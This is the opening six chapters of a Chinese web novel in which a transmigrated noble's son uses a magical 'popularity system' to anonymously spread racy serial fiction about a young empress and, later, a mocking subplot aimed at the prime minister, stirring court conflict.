《我匿名写书,女帝百官全破防》
第001章 纨绔和系统
(义父,留个爪)
“逆子!又去青楼宿醉,还差点把自己喝死,国公府的脸都被你丢尽了,我打死你个不孝子...”
听到这个熟悉的怒骂,下人们和狗全部在摇头。
而此时房间里,江凡猛地坐起,一脸懵逼的环顾四周陌生的环境,以及一个满脸震怒的中年男子。
‘我一个扑街网文作者…竟然穿越了?’
江凡捂着额头,消化着脑海中的记忆。
这是一个名为大夏的王朝,武道兴盛,阶级森严。
原主是镇国公江撼岳的次子,标准的顶级勋贵子弟。
可惜,文不成武不就,是京城有名的纨绔废物,**抽样样精通。
尤其喜欢流连勾栏瓦舍、听说书看戏,是国公府的耻辱。
也是以军功起家、性格刚直的老国公最大的心病。
“这开局…真是地狱难度。”江凡苦笑。
在这个个人力量可以开山断流的世界,一个不能习武、不通文墨的纨绔,命运可想而知。
此时,便宜老爹江撼岳手中的戒尺举了几下,最终也没舍得落在他身上。
“逆子,罚你禁足一日,好好反省!”
江憾岳说完气呼呼的离开,心中不断念叨:算了,亲生的、亲生的,就这一个男丁!
此时江凡脑海中,突然传来一道机械提示音:
【叮!文学人气系统激活绑定中...】
【绑定成功!】
江凡一个激灵:“系统?”
【本系统旨在辅助宿主获取人气,成就无上存在。人气值可通过宿主创作并传播的作品(包括但不限于话本、诗歌、戏曲等)所获得的影响力、认可度、喜爱度等转化而来。人气值可在系统商城兑换各种奖励。】
【当前人气值:0。】
人气值?
江凡的眼睛亮了。
这简直是为他这个前世熟知各种套路的写手量身定做的!
但很快他稍微冷静了些。
就算让他直接抄《红楼梦》、《三国演义》这些,他也炒不出来,只能记个大概。
所以最好的办法,就是根据自己的理解和这个世界的情况,写一些受众的话本。
眼下还有个大问题:传播!
怎么传播?
他一个国公府的纨绔,如果突然开始写书,那很快就会暴露。
【叮!新手福利发放:初始传播渠道开启。宿主每完成一部作品,可由系统生成若干复刻本,以合理随机方式(如出现在说书人案头、茶馆桌面、街头墙角、落魄书生手中等)进行扩散。传播范围及效果取决于作品质量。】
随机发放?
这个好!
江凡心中大定。
这样,源头就变得极其隐秘,难以追查。
他完全可以继续维持纨绔人设,暗中操作。
那么,写什么才能快速获取最大人气呢?
江凡的思绪飞速转动。
这个时代娱乐匮乏,信息闭塞。
而最能引发全民热议的,无疑是…权力顶端的八卦,尤其是带着香艳色彩的那种!
当朝女帝萧璇月,年轻貌美,登基三载,以雷霆手段稳住局势,但关于她的传闻少之又少,神秘感十足。
最重要的是,她是女子称帝,本身就带着天然的话题性和争议性。
“就是你了!”
江凡一拍大腿,眼中闪烁着兴奋的光芒。
写女帝的风月情史,还是与底层小人物的禁忌之恋,这流量还能少了?
说干就干!
江凡翻身下床,翻箱倒柜找出纸张和炭笔——这纨绔子弟的物资倒是齐全。
他深吸一口气,回想了一下看过的无数女频爆款和狗血网文,结合刚刚了解到的些许大夏风俗,开始落笔:
《深宫秘恋:霸道女帝的小娇夫》
【是夜,大乾皇宫,琉璃瓦映月,禁卫森严。
新晋的御前侍卫林枫,身姿挺拔如松,按剑立于丹陛之下,眼观鼻,鼻观心,努力克制着初次面圣的激动与惶恐。
忽闻环佩叮当,幽香袭来。
一道窈窕身影在宫娥簇拥下缓步而来,龙袍曳地,凤钗步摇,容颜隐在珠帘之后,看不真切,却自有一股睥睨天下的威严。
女帝陛下!
林枫慌忙垂首,心跳如鼓。
就在女帝经过他身旁时,一阵夜风吹过,轻轻拂起了珠帘一角。林枫下意识地抬眼,恰好对上了一双清冷的眸子。
只一瞬,珠帘落下,倩影远去。
但那一瞥
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的风华,却深深印在了林枫的心上。
他知道,自己这辈子,完了…】
……
江凡写得飞快,借鉴了霸道总裁文的套路,又融入了一些侍卫视角的卑微与悸动。
他刻意将女帝的形象写得高高在上、神秘莫测。
同时又通过侍卫的内心戏,赋予其一种‘可远观而不可亵玩’的禁忌诱惑。
他在描写宫殿景色、人物心境时,刻意模仿了一些古风的华丽辞藻。
写完第一章,大约四五千字,留下一个‘女帝深夜召见’的扣子。
江凡检查了一遍,确保没有问题。
“系统,提交第一章《深宫秘恋:霸道女帝的小娇夫》。”
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(100份),投放至京城及周边区域…投放中…】
【预计初步影响力发酵时间:12个时辰。请宿主耐心等待人气值结算。】
成了!
江凡松了口气,将手稿小心藏在床板下的暗格里。
接下来,就是扮演好他的纨绔角色,等待风起。
第二天,江凡顶着两个黑眼圈,打着哈欠出现在饭厅。
镇国公江撼岳身材魁梧,不怒自威,看到他就气不打一处来,冷哼一声:
“不成器的东西!昨晚又去哪里鬼混了?”
江凡缩了缩脖子,陪着笑:
“爹,我可是在禁足反思了一晚上,哪里都没去啊。”
“反思?”江撼岳一脸不信,
“看看你这副样子!文不能安邦,武不能定国,我江家怎么就出了你这么个…”
“爹,凡儿还小,您消消气。”
一个温婉的声音响起,是江凡的姐姐江芷兰。
她今日穿着一身淡雅宫装,更显清丽脱俗。
她是女帝的闺蜜,时常出入宫闱,在府中地位超然。
江撼岳对这个女儿倒是和颜悦色,哼了一声,不再多说。
不管这个逆子有多不靠谱,好歹也是唯一的儿子,只要不作出什么诛九族的事情,他都只能放纵。
江凡赶紧扒拉几口饭,借口回房间反思,实际上溜出了府。
他需要去市井中,亲耳听听‘成果’。
第002章 人气值收入
江凡根据记忆,他熟门熟路地来到了南城最热闹的‘百味茶馆’,这里是三教九流汇聚之地,也是流言蜚语的滋生地。
他依旧扮演着那个挥金如土的纨绔,要了最好的包厢,点了一壶最贵的茶,耳朵却竖起来听着楼下的动静。
起初,茶馆里还是些老生常谈的八卦。
直到午时过后,那个干瘦的老说书人上台,惊堂木一拍,却没有讲往常的段子,而是压低了声音,带着几分神秘道:
“各位客官,今日小老儿得了个新鲜本子,乃是架空演义,说的是那女皇帝的风月事儿,诸位可愿一听?”
“女皇帝?哪个女皇帝?”
“快讲快讲!”
台下顿时来了兴趣,纷纷起哄。
老说书人清咳一声,便绘声绘色地讲起了《深宫秘恋:霸道女帝的小娇夫》。
他显然加工过,语气起伏拿捏得极好。
将女帝的威严与偶尔流露的‘脆弱’,侍卫的忠诚与暗生的情愫,渲染得淋漓尽致。
“…只见那女帝陛下,轻启朱唇,声如冷玉:‘林枫,你可知罪?’林枫跪在地上,心如擂鼓,却倔强地抬头:‘臣…不知!’女帝一步步走近,龙袍曳地,幽香袭人,她俯下身,几乎贴着林枫的耳朵,呵气如兰:‘你罪在…偷了朕的心。’”
“哗——!”
台下瞬间炸开了锅。
这种直白又带着强烈权力反差和禁忌感的剧情,对于这个时代的人来说,冲击力太大了!
“我的娘诶!这这这…”
“太大胆了!太刺激了!”
“后来呢?后来怎么样了?”
“赏!快赏钱!”
铜钱如同雨点般扔上台。
老说书人笑得见牙不见眼。
早上还在焦虑现在已经没有新东西讲了,没想到意外发现桌上出现这个故事。
他凭借过人的记忆力和专业水平,很快将故事记下。
现在一看,效果的确立竿见影!
江凡在包厢里,听着下面的轰动,嘴角勾起一抹弧度。
同时,脑海中系统的提示音开始零星响起:
【来自听众王大柱的惊叹,人气值+1】
【来自听众丁二狗的遐想,人气值+2】
【来自路人张三的强烈期待,人气值+3】
……
虽然单次不多,但积少成多,而且这只是开始!
可以想象,这一百份手抄本通过各种渠道扩散出去,会在京城掀起怎样的波澜。
接下来的两天,江凡依旧过着标准的纨绔生活:
白天睡觉,下午溜出府听曲斗蛐蛐,晚上回来继续‘创作’他的《深宫秘恋》后续章节。
每次写完,都由系统随机投放。
关于那本‘**’的流言,如同野火般在京城蔓延。
不仅说书人在讲,一些手抄本也开始在私底下流传。
甚至一些读书人聚会,也会偷偷讨论几句。
故事里偶尔出现的诗词歌赋,以及那种直白的情绪和狗血的情节,却意外地抓住了许多人的心。
江凡脑海中的人气值获取提示,从最初的零星几点,逐渐变成了持续不断的刷屏:
【人气值+10】
【人气值+15】
【人气值+8】
……
短短两天,他的人气值竟然积累到了3580点!
是时候兑换点实际的好处了。
江凡迫不及待地打开系统商城。
琳琅满目的商品映入眼帘:
【基础强身术(凡阶下品):改善体质,强健筋骨。兑换需1000人气值。】
【敛息诀:可收敛自身气息,降低存在感。兑换需1000人气值。】
【十年基础内力灌输:无副作用获得十年精纯内力。兑换需1000人气值(限购一次)。】
【过目不忘(初级):大幅提升记忆力。兑换需5000人气值。】
【书法精通:掌握基础书法技巧。兑换需8000人气值。】
……
江凡略一思索,先兑换了【基础强身术】和【敛息诀】。
一股暖流瞬间涌遍全身,原本被酒色掏空的身体,感觉轻盈有力了不少,连视力似乎都清晰了些。
同时,一篇如何控制呼吸、收敛气血的法门印入脑海。
他尝试运转,顿时感觉自己的气息变得绵长微弱。
如果不刻意注意,很容易被人忽略。
“好东西!”江凡大喜,这简直是隐藏身份、扮猪吃老虎的神技!
看着剩下的人气值,他一咬牙,兑换了【十年基础内力灌输】!
轰!一股远比之前磅礴的热流从丹田升起,汹涌地冲刷着他的四肢百骸,经
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脉传来微微的胀痛感,但更多的是力量充盈的舒畅!
他感觉自己的五感变得更加敏锐,身体里仿佛有使不完的力气。
“这就是内力的感觉吗?”
江凡握了握拳,骨节发出轻微的爆响。
虽然只是最基础的内力,但在这个世界,他终于不再是那个手无缚鸡之力的废物了!
至少有了一点自保之力。
就在江凡暗自欣喜,准备继续‘创作’赚取更多人气的時候,风暴的征兆开始显现。
这天晚饭,气氛格外凝重。
镇国公江撼岳脸色铁青,连江芷兰也眉宇间带着一丝忧色。
“爹,姐姐,怎么了?”
江凡小心翼翼地问,内心却提了起来。
“哼!”江撼岳重重放下筷子,
“还不是市井那些无法无天的混账东西!竟敢编排出污蔑陛下清誉的淫词艳曲!简直罪该万死!”
江凡心里咯噔一下,低头扒饭,不敢接话。
江芷兰轻叹一声:
“父亲息怒。我也听说了,璇月姐姐…陛下她甚是恼怒,已在宫中发过脾气了。据说已责令有司暗查作者。”
江撼岳怒道:“查!必须严查!这等诽谤君上的逆贼,抓住之后,定要诛连九族,以儆效尤!”
他说这话时,目光扫过江凡,带着恨铁不成钢的意味。
江凡后背瞬间被冷汗浸湿。
诛连九族…这特么要是被发现,别说他了,整个镇国公府都得玩完!
他暗自庆幸有系统帮忙隐匿传播渠道,也下定决心要把《敛息诀》练到极致,绝不能露出任何马脚。
“凡儿,”江芷兰忽然看向他,柔声道,
“你平日在外走动,可曾听说过这书的作者是何人?或者,见过什么形迹可疑的人?”
江凡心里狂跳,脸上却努力做出茫然又带着点纨绔的兴奋:
“姐,你也听说那书了?嘿,可带劲了!就是不知道谁写的,要是知道,我非得请他喝顿酒,问问那女帝陛下是不是真那么…”
他看到父亲**般的目光,立刻闭嘴,讪讪道:
“我…我不知道,没留意。”
江芷兰狐疑地看了他一眼,但看他那副烂泥扶不上墙的样子,又觉得是自己想多了。
自己这个弟弟,哪有这等惊世骇俗的才华和胆子?
第003章 恼怒的女帝
与此同时,大夏皇宫,紫宸殿侧殿的御书房内。
女帝萧璇月屏退了左右,只留贴身女官云暮在一旁伺候。
她面前的书案上,摊开的是几本字迹各异的手抄本。
正是暗卫想方设法搜集来的《深宫秘恋:霸道女帝的小娇夫》的不同章节。
萧璇月绝美的脸上,此刻覆盖了一层寒霜。
尤其是看到‘女帝为爱欲遣散后宫’、‘林枫夜宿龙床’等情节时,胸脯微微起伏,显然气得不轻。
“混账!无耻之尤!”
她低声骂道,玉手抬起,似乎想将这些污秽之物扫落在地。
但她的手在半空中顿住了。
她的目光,落在了夹杂在狗血剧情中的一些句子和设定上。
比如,书中描写女帝面对权臣逼迫时,内心闪过的一句独白:
“水能载舟,亦能覆舟,民若沸水,君如舟楫,焉能不慎?”
这话直白,却隐隐触及了统治的根本。
又比如,书中架空王朝解决一场边患时,提到‘以工代赈,实边固防’的粗略想法,虽然简陋,却颇有新意。
还有对宫廷仪仗、服饰的一些描写,虽然夸张,但某些细节,竟与她真实的喜好有几分似是而非的吻合?
是巧合吗?
更让她心烦意乱的是,这书的笔法虽然粗俗,但情节安排极擅抓人心理,一环扣一环。
让她明明气得牙痒痒,却总忍不住想知道下一章那个该死的侍卫林枫又会和‘女帝’发生什么。
“云暮。”萧璇月忽然开口,声音清冷。
“奴婢在。”云暮躬身。
“查得如何了?”
“回陛下,暗卫正在全力追查。但…但此书传播渠道极为诡异,仿佛凭空出现,源头难以锁定。
目前只能确定,作者应该身在京城,且对市井文化、话本套路极为熟悉。”
“废物!”萧璇月冷哼一声,
“一群饭桶,连个写**的都抓不住!”
她重新拿起最新的一章手稿,看着结尾处‘女帝**,侍卫舍身相救’的扣子,凤眸中闪过一丝急切。
“继续查!还有…”
她顿了顿,声音低了几分,“下次有新的章节…第一时间给朕送来。”
云暮眼中闪过一丝诧异,但立刻恭敬应道:
“是,陛下。”
萧璇月挥挥手让她退下,独自坐在龙椅上,看着窗外沉沉的夜色,
“没见过朕…就敢把朕写成这般模样…”
她低声自语,语气莫测,“若是让朕知道你是谁…”
声音渐渐低下去,后半句淹没在唇边,化作一声叹息,其中竟夹杂着一丝好奇。
刚刚过了不久,一个侍卫匆匆送来一本书籍。
最新章节到了!
萧璇月连忙接过翻看,很快脸色就黑了。
“岂有此理!这该死的逍遥公子!”
嗯,作者署名就是逍遥公子。
第二天。
金銮殿上,九龙宝座上的萧璇月面沉如水。
尽管她极力维持着帝王的威仪,但微微抿紧的唇线,还是泄露了她此刻极差的心情。
暗卫昨夜呈上的最新话本章节,竟然写到‘女帝’为救那个侍卫林枫,不惜以身试毒,缠绵病榻,而林枫则日夜不离地守在床边,两人更是有了‘肌肤之亲’…
简直是荒谬绝伦!
亵渎至极!
“众卿家,”萧璇月的声音冷冽,打破了朝堂的寂静,
“近日,市井坊间流传一些污秽书籍,虚构朝代,影射君上,内容不堪入目,严重损害朝廷威严。
朕意已决,着令有司严查,务必揪出那个胆大包天的逍遥公子,以正视听!”
她的话音刚落,没等负责刑狱的官员出列领旨,一个苍老却中气十足的声音便响了起来。
“陛下,老臣以为,此事大可不必如此兴师动众。”
出声的是当朝宰相李文弼,三朝元老,门生故旧遍布朝野。
他手持玉笏,缓步出班,脸上带着一种看似温和实则倨傲的笑容。
“哦?**有何高见?”
萧璇月凤眸微眯,心中已有不悦。
这老狐狸,又要唱反调。
李文弼不慌不忙地道:
“陛下明鉴。老臣也略有耳闻,那市井话本,所写乃是架空朝代,虚构帝王,虽偶有称谓与吾朝略同,但明眼人皆知并非影射本朝。
若因几本荒诞不经的演义小说,便大动干戈,严加查办,恐非明君所为,反倒显得陛下…呵呵,有些小题大做了。”
他轻笑两声,意有所指
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“民间言论,堵不如疏。陛下胸怀四海,当有容人之量,些许流言,不过清风拂山岗,何足挂齿?”
“臣附议!”礼部尚书紧接着出列,
“陛下,圣人云:‘防民之口,甚于防川’。若因小说家言便兴文字之狱,恐伤陛下仁德之名,更恐寒了天下士子之心啊!”
“臣等附议!”
又有几名文官出列附和。
他们未必都赞同李文弼,但‘因言治罪’确实是文官集团的大忌,加之女帝年轻,他们潜意识里总想限制君权,显示士大夫的力量。
萧璇月看着底下跪倒的一片官员,胸中怒火更炽。
她如何不知这些人的心思?
有的是真的顾虑,有的则是纯粹跟她过不去,甚至可能乐见她的‘笑话’!
甚至已经能想象出,这些表面道貌岸然的家伙,暗地里肯定也对这个话本津津乐道。
她玉手在龙袍袖中暗暗握紧,指甲几乎要掐进掌心。
就在这时,一个洪亮如钟的声音炸响,带着愤怒:
“放屁!统统是放屁!”
众人侧目,只见镇国公江撼岳虎目圆睁,大步出班,对着李文弼等人怒目而视:
“什么叫小题大做?那书里写的什么,你们是真不知道还是装不知道?如此污蔑陛下清誉,简直是诛九族的大罪!
还容人之量?这能容吗?!陛下,老臣请旨,将此案交给京兆尹和刑部联合查办,老臣愿亲自督办!
定要将那个无法无天的混账东西揪出来,千刀万剐,诛其九族,以儆效尤!”
江撼岳是武将,嗓门大,一番话说得掷地有声,充满了战场上带来的杀伐之气。
他这番话倒是真心实意,他是忠臣,眼见有人如此‘诽谤’他效忠的君主,自然是怒不可遏。
李文弼**撼岳当面呵斥‘放屁’,脸色顿时有些难看。
但他城府极深,很快恢复平静,淡淡道:
“镇国公稍安勿躁。老夫只是就事论事,何必动怒?诛九族?敢问国公,若那作者胡乱写个前朝年号,莫非还要将前朝遗民都诛了不成?法理何在?”
“你…!”江撼岳气得胡子直抖,却一时语塞。
论嘴皮子功夫,他哪里是这些文官的对手。
第004章 清贵又体面
萧璇月看着底下文武之争,心知今日这严查的旨意是发不下去了。
强行动用皇权,只会激化矛盾,给藩王和旧贵族留下攻击她的口实。
她深吸一口气,强行压下怒火,声音恢复了平日的清冷威严:
“好了。”
两个字,让朝堂瞬间安静下来。
“**和诸位爱卿所言,不无道理。”
萧璇月的声音听不出喜怒,
“是朕有些心急了。些许流言,确实不足为惧。此事…暂且搁置,不必刻意追查,但若有确凿证据,亦不可轻纵。退朝吧。”
说完,她不等百官反应,便起身拂袖而去,留下满朝文武面面相觑。
谁都看得出,女帝这是憋着一肚子火呢。
“退——朝——”
内侍尖细的唱喥声在殿中回荡。
……
御书房内,檀香袅袅。
萧璇月已经换下朝服,穿着一身较为轻便的常服,但眉宇间的郁结之气仍未散去。
她屏退了左右,只留了云暮在一旁伺候笔墨。
“宣镇国公。”她淡淡吩咐。
不一会儿,江撼岳便大步走了进来,躬身行礼:
“老臣参见陛下。”
“国公不必多礼,坐吧。”
萧璇月指了指旁边的锦墩。
“谢陛下。”
江撼岳谢恩后,半个屁股挨着锦墩坐下,腰杆挺得笔直,依旧是一副武将做派。
“今日朝堂之事,国公怎么看?”
萧璇月端起茶杯,轻轻拨弄着浮叶,看似随意地问道。
江撼岳哼了一声:
“陛下,要老臣说,李文弼那老匹夫就是故意跟您作对!还有那些文官,满口仁义道德,实则…哼!”
他到底顾及身份,没把更难听的话说出来。
萧璇月放下茶杯,叹了口气:
“朕何尝不知?只是如今朝局未稳,北有蛮族虎视眈眈,内有藩王心怀叵测,若因一本荒诞话本便与文官集团起了龃龉,得不偿失啊。”
她话锋一转,语气带着几分忧色:
“说起忧患,国公,北疆今年的军饷粮草筹措如何?朕听闻,户部那边又在扯皮了?”
江撼岳闻言,脸色也凝重起来:
“回陛下,确有此事。李文弼的门生把持着户部,总以国库空虚为由,克扣拖延。边关将士们苦啊,若是粮饷不继,恐生变故。”
“漕运呢?去年水患后,漕粮运输可还顺畅?”
“回陛下,漕运总督是靖北王举荐的人,能力平庸,疏通不力,南粮北运依旧迟缓…”
两人就着大夏王朝眼下的一些实际忧患聊了起来。
江撼岳虽是武将,但并非莽夫,对军国大事也有自己的见解,而且他忠心耿耿,所言皆是实情。
萧璇月听着,不时询问几句,眉头越皱越紧。
这些积弊,绝非一日之寒,牵涉各方利益,处理起来棘手无比。
聊着聊着,气氛不再像刚开始那样紧绷。
萧璇月看着眼前这位为自己江山操心劳神的老臣,想到他刚才在朝堂上为自己仗义执言的模样,心中不免有些触动。
她忽然想起一事,语气放缓了些,带着一丝关切问道:
“国公,朕听闻…令郎江凡,近来可还安好?”
提到儿子,江撼岳重重叹了口气,抱拳道:
“劳陛下挂心,犬子…唉,还是那副不成器的样子!终日游手好闲,眠花宿柳,老臣这张老脸,都快被他丢尽了!
是老臣教子无方,愧对陛下,愧对江家列祖列宗啊!”
说着,神情竟有些激动和羞愧。
萧璇月看着江撼岳这副模样,心中也是一叹。
她与江芷兰情同姐妹,自然也听说过江凡的‘丰功伟绩’。
想到这位忠心耿耿的老臣,为国事操劳,回家还要面对一个如此不争气的儿子,确实令人唏嘘。
她沉吟片刻,心中有了个想法。
“国公不必过于自责。年轻人,或许只是未曾定性。”
萧璇月温言道,
“总让他这般无所事事,也非长久之计。不如…朕给他安排个差事,哪怕是个闲职,也好让他收收心,历练历练,总比在外头胡混强。你看如何?”
江撼岳闻言,先是一愣,随即大喜过望!
陛下亲自给儿子安排差事,这是何等的恩宠!
虽然可能只是个微不足道的小官,但意味着儿子有机会走上正途,更重要的是,这表明陛下对他江家依然
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信任和眷顾!
他猛地站起身,推金山倒玉柱般跪倒在地,声音都有些哽咽:
“老臣…老臣叩谢陛下天恩!陛下对犬子如此厚爱,老臣…老臣万死难报!定当严加管教,让他尽心竭力,为陛下效犬马之劳!”
“国公快快请起。”萧璇月虚扶一下,
“此事朕会安排。你先回府,将这个好消息告知令郎吧。”
“是!是!老臣告退!”
江撼岳激动得满脸通红,退出了御书房,脚步都比来时轻快了许多。
看着江撼岳离去的背影,萧璇月摇了摇头,对云暮轻声道:
“但愿这江凡,能体会他父亲一片苦心,莫要再辜负期望了。”
她这么做,既是体恤老臣,也是看在闺蜜江芷兰的面子上。
至于江凡本人…她其实并没抱太大希望,只要他安分守己,别再惹出大乱子就好。
……
镇国公府。
江凡正翘着二郎腿,躺在自己院子里的摇椅上,一边吃着丫鬟剥好的葡萄,一边在脑海里构思着《深宫秘恋》下一章的剧情——
是时候让那个侍卫林枫再救一次美,然后女帝给他来个霸道强吻了!
人气值正哗哗地涨呢,爽!
就在这时,院门被‘砰’地一声推开,江撼岳龙行虎步地走了进来,脸上带着罕见的、压抑不住的喜色。
“凡儿!凡儿!天大的好消息!”
江撼岳声如洪钟。
江凡吓得一个激灵,差点从摇椅上摔下来,赶紧起身:
“爹,您…您回来了?什么好消息?”
他心中有种不祥的预感。
江撼岳用力拍了拍儿子的肩膀,笑得见牙不见眼:
“陛下!是陛下!陛下念你年少,不忍看你荒废光阴,特开天恩,要给你安排个差事!让你进宫任职,历练历练!”
“什么?!进宫任职?!”
江凡如遭雷击,“爹!您没开玩笑吧?我…我什么都不会啊!我去宫里能干嘛?”
“混账东西!怎么说话呢!”
江撼岳眼睛一瞪,“陛下赏赐的差事,那是光宗耀祖的事情!多少人求都求不来!具体职务陛下自有安排,肯定是清贵又体面的位置!”
第005章 让反派登场
“我不去!”江凡一万个不愿意,脑袋摇得像拨浪鼓,
“爹,我在外面挺好的!自由自在!进了宫,规矩那么多,还要天天点卯,多不自在!我保证以后少去赌坊,少喝花酒还不行吗?”
“由不得你!”江撼岳斩钉截铁,
“圣意已决,岂容你推三阻四?这次你必须去!好好干,给陛下,给老子,也给你姐姐争口气!要是敢偷奸耍滑,或者惹出什么祸事,看老子不打断你的腿!”
看着父亲那不容置疑的眼神,江凡知道这事是躲不过去了。
他内心哀嚎一片:老天爷啊!我好好的纨绔少爷不当,低调发育的写手不做,非要我去当什么劳什子官?
这不是把我往火坑里推吗!
万一不小心暴露了怎么办?
可圣命难违,父命更难违。
江凡只能哭丧着脸,有气无力地应道:
“是…爹,我知道了。”
江撼岳见儿子服软,脸色这才缓和下来,又叮嘱了几句要守规矩、勤快做事之类的话,便心满意足地离开了。
江凡瘫回摇椅上,感觉人生一片灰暗。
不一会儿,得到消息的江芷兰也匆匆赶来。
她脸上带着欣喜和担忧交织的复杂神色。
“凡儿,父亲都跟我说了!这是好事!”
江芷兰拉着弟弟的手,柔声道,
“进宫当差,是璇月姐姐…是陛下对你的爱护和期许。你可千万要把握住这个机会,不能再像以前那样胡闹了。”
江凡撇撇嘴:“姐,你知道我的,我哪是当官的料啊…”
“不会可以学!”江芷兰正色道,
“你年纪不小了,也该懂事了。来,姐姐先跟你说说宫里的规矩和注意事项,你务必记牢了…”
接下来,江芷兰便开始事无巨细地讲解起来:
见到陛下如何行礼,见到不同品级的官员和内侍如何称呼,在宫中行走的规矩,当值时需要注意什么,哪些地方不能去,哪些话不能说…
絮絮叨叨,说了足足一个时辰。
江凡听得头昏脑涨,心不在焉,左耳进右耳出。
他满脑子想的都是:这破差事肯定干不长,老子得想办法尽快被罢免,回去继续当我的纨绔,写我的小说!
第二天,江凡极不情愿地换上了一身崭新的官服,前往翰林院下属的一个负责整理典籍、抄录文书的分院报到——
这确实是个闲职,清闲,但也枯燥,远离权力中心。
果然,他这‘空降兵’一出现,就引来了不少异样的目光。
尤其是当朝宰相李文弼,正好来翰林院巡视。
李文弼在一群官员的簇拥下,踱步走到江凡面前,上下打量了他一番,脸上带着那种惯有的、居高临下的笑容道:
“这位便是镇国公家的麒麟儿,江凡江公子吧?果然是一表人才。呵呵,陛下仁德,念及旧臣,特赐恩典。
江公子可要珍惜这来之不易的机会,好好‘学习’,莫要辜负了陛下的期望,也…莫要再像以往那般,给你父亲脸上‘增光’了。”
他语气中的讽刺意味,在场的人都听得明白。
几个依附李文弼的官员也发出低低的窃笑声。
若是以前的江凡,可能就缩着脖子认了。
但现在的江凡,骨子里是个穿越者,又有系统傍身,底气足了不少,加上本就憋着一肚子火想找茬被罢官,哪里受得了这种阴阳怪气?
他当即把脖子一梗,摆出那副标准的纨绔子弟混不吝的架势,斜眼看着李文弼,吊儿郎当地回道:
“**爷过奖了!小子我别的本事没有,就是命好,投胎投得好,有个好爹,还有个念旧情的好陛下关照。
不像有些人,寒窗苦读几十年,熬白了头,站在这朝堂上,除了耍耍嘴皮子,也没见干出什么利国利民的大事啊?
哦对了,听说您老家那边去年水患,赈灾款好像被层层克扣,灾民都快易子而食了,相爷您清流领袖,可知情啊?”
他这番话,可谓是恶毒至极!
直接点明了李文弼的寒门出身,又暗指他尸位素餐,最后更是抛出一个敏感且未经证实的贪腐问题,直戳李文弼的肺管子!
“你…!黄口小儿!安敢如此放肆!”
李文弼养气功夫再好,也被这突如其来的恶毒攻击气得脸色铁青,浑身发抖,指着江凡,一时竟说不出完整的话来
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。
他身边的官员也惊呆了,没想到这个纨绔子如此大胆妄为!
“放肆?”江凡嗤笑一声,
“相爷,小子我读书少,不懂什么叫放肆,只知道有话直说。怎么,许您老人家‘关心’小子,就不许小子也‘关心关心’您老家的灾情?”
“你…你…岂有此理!岂有此理!”
李文弼气得差点背过气去,他位极人臣多年,何曾受过如此羞辱?
还是被一个他根本看不起的纨绔子弟当众羞辱!
眼看局面就要失控,闻讯赶来的翰林院掌院学士赶紧打圆场。
而这件事,自然也飞快地传到了萧璇月的耳中。
萧璇月正在批阅奏折,听到云暮的禀报,先是愕然,随即嘴角忍不住微微勾起一抹极淡的笑意。
这个江凡…还真是个混不吝的性子。
虽然行为鲁莽失礼,但不知为何,听到他把那个总是跟她唱反调的李文弼气得够呛,她心里竟莫名地有点…解气?
“这个江凡,果然是个惹事精。”
萧璇月放下朱笔,语气却听不出多少责备,
“去,传朕口谕,申饬江凡御前失仪,罚俸三月,以观后效。另外…告诉李文弼,江凡年少无知,让他不必与晚辈一般见识。”
她这处置,明显是高高举起,轻轻落下。
罚俸三月对江凡来说不痛不痒,申饬更是表面文章。
反而让李文弼‘大度’,等于又堵了李文弼的嘴。
云暮领命而去。
萧璇月对这个印象中只会惹是生非的纨绔子弟,倒是生出几分不一样的好奇来。
敢当面硬怼宰相,这份‘勇气’(或者说愚蠢),倒也…挺特别的。
江凡被罚了俸禄,不但不沮丧,反而有点小得意。
看来这招有效!
继续作死,罢官指日可待!
当晚,回到自己的小院,江凡想起白天被李文弼嘲讽的憋屈,越想越气。
他铺开纸张,炭笔唰唰作响,决定把这股恶气出在他的‘大作’上!
于是,在《深宫秘恋》的最新章节里,除了女帝和侍卫的感情继续升温外,一个令人厌恶的反派角色‘李宰相’隆重登场!
第006章 郁闷的宰相
在这个架空的故事里,李宰相是个道貌岸然、贪婪好色、结党营私的奸臣。
他处处与英明神武的‘女帝’作对,打压忠良。
江凡还恶趣味地给李宰相安排了大量‘精彩’的支线剧情:
比如他最宠爱的小妾其实早就和他的管家私通,他视若珍宝的独生子其实不是他亲生的,是他弟弟的种!
更惨的是,这位宰相公子还在一次争风吃醋中,被人下了黑手,直接给阉了…
最后,李宰相的罪行被‘女帝’和‘林枫’联手揭露,抄家灭族,不得好死!
写完这些,江凡只觉得神清气爽,胸中恶气尽出!
他满意地检查了一遍,然后提交给了系统。
【作品检测中…完整性符合要求,原创度审核通过。】
【开始随机生成复刻本(100份),投放至京城及周边区域…投放中…】
第二天,这本充满了对当朝宰相恶意影射和人身攻击的新章节,再次在京城扩散开来。
这一次,因为情节更加‘劲爆’,传播速度甚至比之前更快!
茶楼里,说书人讲到‘李宰相’发现儿子被阉、小妾偷人时,台下观众发出的已经不是简单的惊叹,而是充满了幸灾乐祸的哄堂大笑和叫好声!
毕竟,老百姓对于高高在上的宰相出丑喜闻乐见。
很快,消息就传到了宰相府。
“砰!哗啦——!”
李文弼的书房里,传来一阵瓷器碎裂的巨响。
紧接着是他暴跳如雷的咆哮声:
“查!给老夫查!掘地三尺!也要把这个诽谤朝廷重臣、无法无天的狂徒给老夫揪出来!老夫要将他**万段!诛其十族!”
他气得浑身发抖,脸色铁青,比在朝堂上**凡顶撞时还要愤怒十倍!
被一个纨绔子顶撞,还可以说是对方无知无畏。
可这话本里的内容,简直是把他扒光了羞辱,将他一生最看重的名声、尊严踩在脚下践踏!
尤其是‘儿子被阉’这种恶毒诅咒,更是让他这个极为重视香火传承的古人无法忍受!
宰相府的力量立刻行动起来,比之前女帝下令时还要卖力。
然而,系统的随机投放机制太过诡异,查来查去,依旧毫无头绪,所有的线索都指向虚无。
李文弼又气又急,越想越憋屈,终于按捺不住,穿戴整齐,急匆匆进宫面圣告状去了。
他必须让陛下看到这事态的严重性!
这已经不仅仅是诽谤君上了,这是对整个朝廷重臣集团的挑衅!
紫宸殿侧殿,萧璇月正在听云暮低声汇报市井间关于新话本的‘盛况’,尤其是对李宰相那些‘精彩’剧情的反响。
她听着,嘴角忍不住微微上扬。
虽然她觉得作者手段有些下作,但…
一想到李文弼那老狐狸此刻可能的表情,她就觉得很有趣。
就在这时,内侍通报:
“陛下,宰相李文弼李大人紧急求见。”
萧璇月与云暮对视一眼,眼中都闪过一丝了然。
她整理了一下表情,恢复帝王的威严:
“宣。”
李文弼几乎是跌跌撞撞地小跑进来,扑通一声跪倒在地,老泪纵横,声音悲愤无比:
“陛下!陛下要为老臣做主啊!”
